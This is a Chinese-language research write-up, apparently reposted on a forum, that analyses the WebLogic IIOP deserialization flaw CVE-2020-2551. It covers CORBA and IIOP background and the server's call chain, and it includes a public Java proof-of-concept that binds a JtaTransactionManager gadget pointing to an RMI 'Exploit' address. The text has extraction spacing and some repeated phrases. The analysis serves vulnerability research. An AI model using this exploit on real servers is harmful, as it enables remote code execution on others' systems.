搜索

[26976] 2020-05-01_漫谈-Weblogic-CVE-2020-2551

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-05-01_漫谈-Weblogic-CVE-2020-2551 漫 谈 - W e b l o g i c - C V E - 2 0 2 0 - 2 5 5 1 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 0 1 背 景             2 0 2 0   年   1 月 1 4 日 ， O r a c l e   发 布 了 大 量 安 全 补 丁 ， 修 复 了   4 3   个 严 重 漏 洞 ， C V S S   评 分 均 在 在 9 . 1 以 上 。 其 中   C V E - 2 0 2 0 - 2 5 5 1   漏 洞 ， 互 联 网 中 公 布 了 几 篇 针 对 该 漏 洞 的 分 析 文 章 以 及 P O C ， 但 公 布 的   P O C   有 部 分 不 足 之 处 ， 导 致 漏 洞 检 测 效 率 变 低 ， 不 足 之 处 主 要 体 现 在 ： 1 .   公 布 的 公 布 的   P O C   代 码 只 针 对 直 连 （ 内 网 ） 网 络 有 效 ， 代 码 只 针 对 直 连 （ 内 网 ） 网 络 有 效 ， D o c k e r 、 、 N A T   网 络 全 部 无 效 。 网 络 全 部 无 效 。 2 .   公 布 的 公 布 的   P O C   代 码 只 支 持 单 独 一 个 版 本 ， 无 法 适 应 多 个 代 码 只 支 持 单 独 一 个 版 本 ， 无 法 适 应 多 个   w e b l o g i c   版 本 。 版 本 。 注 ： 注 ：   1 .   经 过 大 量 的 测 试 ， 我 们 的 经 过 大 量 的 测 试 ， 我 们 的   P O C   可 稳 定 运 行 在 多 个 操 作 系 统 、 多 个 可 稳 定 运 行 在 多 个 操 作 系 统 、 多 个   w e b l o g i c   版 本 、 多 个 版 本 、 多 个   J D K   版 本 以 及 版 本 以 及   D o c k e r   网 络 中 。 网 络 中 。   2 .   以 上 测 以 上 测 试 及 分 析 环 境 全 部 基 于 内 部 环 境 。 试 及 分 析 环 境 全 部 基 于 内 部 环 境 。 漏 洞 分 析 漏 洞 分 析 通 过   O r a c l e   官 方 发 布 的 公 告 是 可 以 看 出 该 漏 洞 的 主 要 是 在 核 心 组 件 中 的 ， 影 响 协 议 为   I I O P   。 该 漏 洞 原 理 上 类 似 于 R M I 反 序 列 化 漏 洞 （ C V E - 2 0 1 7 - 3 2 4 1 ） ， 和 之 前 的 T 3 协 议 所 引 发 的 一 系 列 反 序 列 化 漏 洞 也 很 相 似 ， 都 是 由 于 调 用 远 程 对 象 的 实 现 存 在 缺 陷 ， 导 致 序 列 化 对 象 可 以 任 意 构 造 ， 并 没 有 进 行 安 全 检 查 所 导 致 的 。 协 议 协 议 为 了 能 够 更 好 的 理 解 本 文 稿 中 所 描 述   R M I 、 I I O P 、 G I O P 、 C O R B A   等 协 议 名 称 ， 下 面 来 进 行 简 单 介 绍 。 I D L 与 与 J a v a   I D L I D L 全 称 （ I n t e r f a c e   D e f i n i t i o n   L a n g u a g e ） 也 就 是 接 口 定 义 语 言 ， 它 主 要 用 于 描 述 软 件 组 件 的 应 用 程 序 编 程 接 口 的 一 种 规 范 语 言 。 它 完 成 了 与 各 种 编 程 语 言 无 关 的 方 式 描 述 接 口 ， 从 而 实 现 了 不 同 语 言 之 间 的 通 信 ， 这 样 就 保 证 了 跨 语 言 跨 环 境 的 远 程 对 象 调 用 。 在 基 于 I D L 构 建 的 软 件 系 统 中 就 存 在 一 个 O M G   I D L （ 对 象 管 理 组 标 准 化 接 口 定 义 语 言 ） ， 其 用 于 C O R B A 中 。 就 如 上 文 所 说 ， I D L 是 与 编 程 语 言 无 关 的 一 种 规 范 化 描 述 性 语 言 ， 不 同 的 编 程 语 言 为 了 将 其 转 化 成 I D L ， 都 制 定 了 一 套 自 用 的 编 译 器 用 于 将 可 读 取 的 O M G   I D L 文 件 转 换 或 映 射 成 相 应 的 接 口 或 类 型 。 J a v a   I D L 就 是 J a v a 实 现 的 这 套 编 译 器 。 R M I 、 、 J R M P 、 、 J N D I J a v a 远 程 方 法 调 用 ， 即 J a v a   R M I （ J a v a   R e m o t e   M e t h o d   I n v o c a t i o n ） 是 J a v a 编 程 语 言 里 ， 一 种 用 于 实 现 远 程 过 程 调 用 的 应 用 程 序 编 程 接 口 。 它 使 客 户 机 上 运 行 的 程 序 可 以 调 用 远 程 服 务 器 上 的 对 象 。 远 程 方 法 调 用 特 性 使 J a v a 编 程 人 员 能 够 在 网 络 环 境 中 分 布 操 作 。 R M I 全 部 的 宗 旨 就 是 尽 可 能 简 化 远 程 接 口 对 象 的 使 用 。 J a v a 远 程 方 法 协 议 （ 英 语 ： J a v a   R e m o t e   M e t h o d   P r o t o c o l ， J R M P ） 是 特 定 于 J a v a 技 术 的 、 用 于 查 找 和 引 用 远 程 对 象 的 协 议 。 这 是 运 行 在 J a v a 远 程 方 法 调 用 （ R M I ） 之 下 、 T C P / I P 之 上 的 线 路 层 协 议 （ 英 语 ： W i r e   p r o t o c o l ） 。
J a v a 命 名 和 目 录 接 口 （ J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e ， 缩 写 J N D I ） ， 是 J a v a 的 一 个 目 录 服 务 应 用 程 序 接 口 （ A P I ） ， 它 提 供 一 个 目 录 系 统 ， 并 将 服 务 名 称 与 对 象 关 联 起 来 ， 从 而 使 得 开 发 人 员 在 开 发 过 程 中 可 以 使 用 名 称 来 访 问 对 象 。 目 前 基 于   J N D I   实 现 的 几 本 为   r m i   与   l d a p   的 目 录 服 务 系 统 ， 构 建   r m i   、 l d a p   比 较 常 用 的 的 工 具 有   m a r s h a l s e c   、 y s o s e r i a l 。 更 多 信 息 建 议 查 阅 J a v a   中   R M I 、 J N D I 、 L D A P 、 J R M P 、 J M X 、 J M S 那 些 事 儿 （ 上 ） 。 O R B 与 G I O P 、 I I O P O R B 全 称 （ O b j e c t   R e q u e s t   B r o k e r ） 对 象 请 求 代 理 。 O R B 是 一 个 中 间 件 ， 他 在 对 象 间 建 立 一 个 C S 关 系 ， 或 者 更 简 单 点 来 说 ， 就 是 一 个 代 理 。 客 户 端 可 以 很 简 单 的 通 过 这 个 媒 介 使 用 服 务 器 对 象 的 方 法 而 不 需 要 关 注 服 务 器 对 象 是 在 同 一 台 机 器 上 还 是 通 过 远 程 网 络 调 用 的 。 O R B 截 获 调 用 后 负 责 找 到 一 个 对 象 以 满 足 该 请 求 。 G I O P 全 称 （ G e n e r a l   I n t e r - O R B   P r o t o c o l ） 通 用 对 象 请 求 协 议 ， 其 功 能 简 单 来 说 就 是 C O R B A 用 来 进 行 数 据 传 输 的 协 议 。 G I O P 针 对 不 同 的 通 信 层 有 不 同 的 具 体 实 现 ， 而 针 对 于 T C P / I P 层 ， 其 实 现 名 为 I I O P （ I n t e r n e t   I n t e r - O R B   P r o t o c o l ） 。 所 以 说 通 过 T C P 协 议 传 输 的 G I O P 数 据 可 以 称 为 I I O P 。 而 O R B 与 G I O P 的 关 系 是 G I O P 起 初 就 是 为 了 满 足 O R B 间 的 通 信 的 协 议 。 所 以 也 可 以 说 O R B 是 C O R B A 通 信 的 媒 介 。 C O R B A C O R B A 全 称 （ C o m m o n   O b j e c t R e q u e s t   B r o k e r   A r c h i t e c t u r e ） 也 就 是 公 共 对 象 请 求 代 理 体 系 结 构 ， 是 O M G （ 对 象 管 理 组 织 ） 制 定 的 一 种 标 准 的 面 向 对 象 应 用 程 序 体 系 规 范 。 其 提 出 是 为 了 解 决 不 同 应 用 程 序 间 的 通 信 ， 曾 是 分 布 式 计 算 的 主 流 技 术 。 一 般 来 说 C O R B A 将 其 结 构 分 为 三 部 分 ， 为 了 准 确 的 表 述 ， 我 将 用 其 原 本 的 英 文 名 来 进 行 表 述 ： n a m i n g   s e r v i c e c l i e n t   s i d e s e r v a n t   s i d e 这 三 部 分 组 成 了 C O R B A 结 构 的 基 础 三 元 素 ， 而 通 信 过 程 也 是 在 这 三 方 间 完 成 的 。 我 们 知 道 C O R B A 是 一 个 基 于 网 络 的 架 构 ， 所 以 以 上 三 者 可 以 被 部 署 在 不 同 的 位 置 。 s e r v a n t   s i d e 可 以 理 解 为 一 个 接 收   c l i e n t   s i d e 请 求 的 服 务 端 ； n a m i n g   s e r v i c e 对 于 s e r v a n t   s i d e 来 说 用 于 服 务 方 注 册 其 提 供 的 服 务 ， 对 于 c l i e n t   s i d e 来 说 客 户 端 将 从 n a m i n g   s e r v i c e 来 获 取 服 务 方 的 信 息 。 这 个 关 系 可 以 简 单 的 理 解 成 目 录 与 章 节 具 体 内 容 的 关 系 ： 目 录 即 为 n a m i n g s e r v i c e ， s e r v a n t   s i d e 可 以 理 解 为 具 体 的 内 容 ， 内 容 需 要 首 先 在 目 录 里 面 进 行 注 册 ， 这 样 当 用 户 想 要 访 问 具 体 内 容 时 只 需 要 首 先 在 目 录 中 查 找 到 具 体 内 容 所 注 册 的 引 用 （ 通 常 为 页 数 ） ， 这 样 就 可 以 利 用 这 个 引 用 快 速 的 找 到 章 节 具 体 的 内 容 。 神 奇 的 7 0 0 1 端 口           首 先 我 们 来 分 析   w e b l o g i c   神 奇 的   7 0 0 1   端 口 ， 正 常 情 况 下 我 们 通 过   7 0 0 1   端 口 发 送   H T T P   协 议 时 会 响 应   H T T P   协 议 的 内 容 ， 发 送   T 3   协 议 的 数 据 包 时 响 应   T 3   的 响 应 数 据 包 ， 发 送   I I O P   协 议 的 数 据 包 时 响 应   I I O P   的 数 据 包 。 该 端 口 非 常 的 神 奇 ， 我 们 通 过 什 么 协 议 访 问 该 端 口 该 端 口 会 响 应 对 应 的 协 议 包 内 容 。
通 过 浏 览 器 进 行 访 问   w e b l o g i c   的   7 0 0 1   端 口 可 以 发 现 响 应 的 协 议 类 型 也 为 H T T P 。 上 图 通 过   I I O P   进 行 发 包 响 应 内 容 为 为   I I O P   内 容 信 息 ， I I O P   是 一 种 通 过   T C P / I P   连 接 交 换   G I O P   （ 通 用 对 象 请 求 代 理 间 通 信 协 议 ） 信 息 的 协 议 。 漏 洞 利 用 漏 洞 利 用
              该 漏 洞 主 要 是 因 为   W e b l o i g c   默 认 开 放   I I O P   协 议 ， 并 且   J t a T r a n s a c t i o n M a n a g e r 并 未 做 黑 名 单 过 滤 导 致 漏 洞 发 生 ， 以 下 为 整 个 测 试 P O C （ 该   P O C   来 自 互 联 网 ） ， 后 续 代 码 调 试 也 是 基 于 该 代 码 进 行 调 试 。 基 于 公 布 的 P O C ， 整 个 利 用 过 程 就 为 ： 1 .   通 过 W e b l o g i c   的 I P 与 端 口 通 过 w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y 类 进 行   I I O P   协 议 数 据 交 互 。 2 .   基 于 J t a T r a n s a c t i o n M a n a g e r 设 置   R M I   加 载 地 址 。 3 .   通 过 y s o s e r i a l 构 建   G a d g e t s   并 且 通 过   I I O P   进 行 绑 定 ， 并 且 触 发 漏 洞 。 w e b l o g i c   解 析 流 程 解 析 流 程 注 ： 注 ： w e b l o g i c 流 程 是 基 于 流 程 是 基 于   w e b l o g i c   1 2 . 2 . 1 . 3 . 0   进 行 测 试 研 究 。 进 行 测 试 研 究 。 w e b l o g i c   调 试 调 试 修 改 目 录   u s e r _ p r o j e c t / d o m a i n s / b i n 目 录 中   s e t D o m a i n E n v . c m d 或 者   s e t D o m a i n E n v . s h 文 件 ， 加 i f   % d e b u g F l a g   = =   " f a l s e " % 之 前 加 入 s e t   d e b u g F l a g = t r u e ， 并 且 重 新 启 动   w e b l o g i c ， 然 后 将   w e b l o g i c   复 制 到   i d e a   项 目 中 ， 并 且 添 加   L i b r a r i e s l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 S t r i n g   i p   =   " 1 2 7 . 0 . 0 . 1 " ;                 S t r i n g   p o r t   =   " 7 0 0 1 " ;                 H a s h t a b l e < S t r i n g ,   S t r i n g >   e n v   =   n e w   H a s h t a b l e < S t r i n g ,   S t r i n g > ( ) ;                 e n v . p u t ( " j a v a . n a m i n g . f a c t o r y . i n i t i a l " ,   " w e b l o g i c . j n d i . W L I n i t i a l C o n t e x t F a c t o r y " ) ;                 e n v . p u t ( " j a v a . n a m i n g . p r o v i d e r . u r l " ,   S t r i n g . f o r m a t ( " i i o p : / / % s : % s " ,   i p ,   p o r t ) ) ;                 C o n t e x t   c o n t e x t   =   n e w   I n i t i a l C o n t e x t ( e n v ) ;                 / /   g e t   O b j e c t   t o   D e s e r i a l i z e                 J t a T r a n s a c t i o n M a n a g e r   j t a T r a n s a c t i o n M a n a g e r   =   n e w   J t a T r a n s a c t i o n M a n a g e r ( ) ;                 j t a T r a n s a c t i o n M a n a g e r . s e t U s e r T r a n s a c t i o n N a m e ( " r m i : / / 1 2 7 . 0 . 0 . 1 : 1 0 9 9 / E x p l o i t " ) ;                 R e m o t e   r e m o t e   =   G a d g e t s . c r e a t e M e m o i t i z e d P r o x y ( G a d g e t s . c r e a t e M a p ( " p w n e d " ,   j t a T r a n s a c t i o n M a n a g e r ) ,   R e m o t e . c l a s s ) ;                 c o n t e x t . b i n d ( " h e l l o " ,   r e m o t e ) ;         }
新 增   R e m o t e   方 式 进 行 远 程 调 试 。 d o c k e r   调 试 可 参 考 1 .   h t t p s : / / w w w . c n b l o g s . c o m / p h 4 n t 0 m e r / a r c h i v e / 2 0 1 9 / 1 0 / 3 1 / 1 1 7 7 2 7 0 9 . h t m l
2 .   h t t p s : / / w w w . c n b l o g s . c o m / p h 4 n t 0 m e r / a r c h i v e / 2 0 1 9 / 1 0 / 3 1 / 1 1 7 7 2 7 0 9 . h t m l 解 析 到 序 列 化 解 析 到 序 列 化 前 面 我 们 说 到   7 0 0 1   神 奇 的 端 口 ， w e b l o g i c   默 认 是   7 0 0 1   端 口 进 行 接 收   I I O P   请 求 。 可 以 通 过 c o m . o r a c l e . w e b l o g i c . i i o p . j a r ! w e b l o g i c . i i o p . C o n n e c t i o n M a n a g e r # d i s p a t c h 可 以 看 到 所 有   I I O P   的 请 求 信 息 。 然 后 在 w e b l o g i c . r m i . i n t e r n a l . w l s . W L S E x e c u t e R e q u e s t # r u n 进 行 调 用 w e b l o g i c . r m i . i n t e r n a l . B a s i c S e r v e r R e f # h a n d l e R e q u e s t 。 然 后 在 通 过 w e b l o g i c . r m i . i n t e r n a l . B a s i c S e r v e r R e f # h a n d l e R e q u e s t 调 用 w e b l o g i c . r m i . i n t e r n a l . B a s i c S e r v e r R e f # h a n d l e R e q u e s t 最 终 调 用 i n v o k e r . i n v o k e
以 下 为 到   i n v o k e r . i n v o k e 的 调 用 链 ： 最 终 实 现 的 方 法 在 c o m . w e b l o g i c . r m i . c l u s t e r . C l u s t e r a b l e S e r v e r R e f # i n v o k e 方 法 中 。
进 入 该 方 法 之 后 会 o b j e c t M e t h o d s . g e t ( i i o p r e q u e s t . g e t M e t h o d ( ) ) 进 行 获 取 是 否 为 空 ， 如 果 为 空 的 话 会 调 用 t h i s . d e l e g a t e . _ i n v o k e ( i i o p r e q u e s t . g e t M e t h o d ( ) ,   i i o p r e q u e s t . g e t I n p u t S t r e a m ( ) ,   r h ) 进 行 处 理 ， 由 于 在 发 送 包 的 时 候 执 行 的 操 作 类 型 b i n d _ a n y ( ) ， 该 类 型 不 存 在 o b j e c t M e t h o d s 变 量 中 最 终 会 调 用 t h i s . d e l e g a t e . _ i n v o k e ， 具 体 实 现 的 类 为 w e b l o g i c . c o r b a . c o s . n a m i n g . _ N a m i n g C o n t e x t A n y I m p l B a s e # _ i n v o k e
在   _ i n v o k e 方 法 中 获 取 执 行 的 方 法 ， 我 们 执 行 的   b i n d _ a n y 最 终 会 执 行 到 c a s e   0   的 代 码 块 中 ， 最 终 调 用 n   =   W N a m e H e l p e r . r e a d ( i n ) ; $ r e s u l t   =   i n . r e a d _ a n y ( ) ; t h i s . b i n d _ a n y ( n ,   $ r e s u l t ) ; o u t   =   $ r h . c r e a t e R e p l y ( ) ; 代 码 块 。 其 中   W N a m e H e l p e r . r e a d ( i n )   通 过 读 取 I O R 中 的 信 息 用 于 注 册 到 O R B 的 流 程 中 。 i n . r e a d _ a n y ( ) 最 后 执 行 w e b l o g i c . c o r b a . i d l . A n y I m p l # r e a d _ v a l u e _ i n t e r n a l 处 理 对 应 的 流 程 ：
以 下 为 r e a d _ a n y   到 r e a d _ v a l u e _ i n t e r n a l   的 调 用 链 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理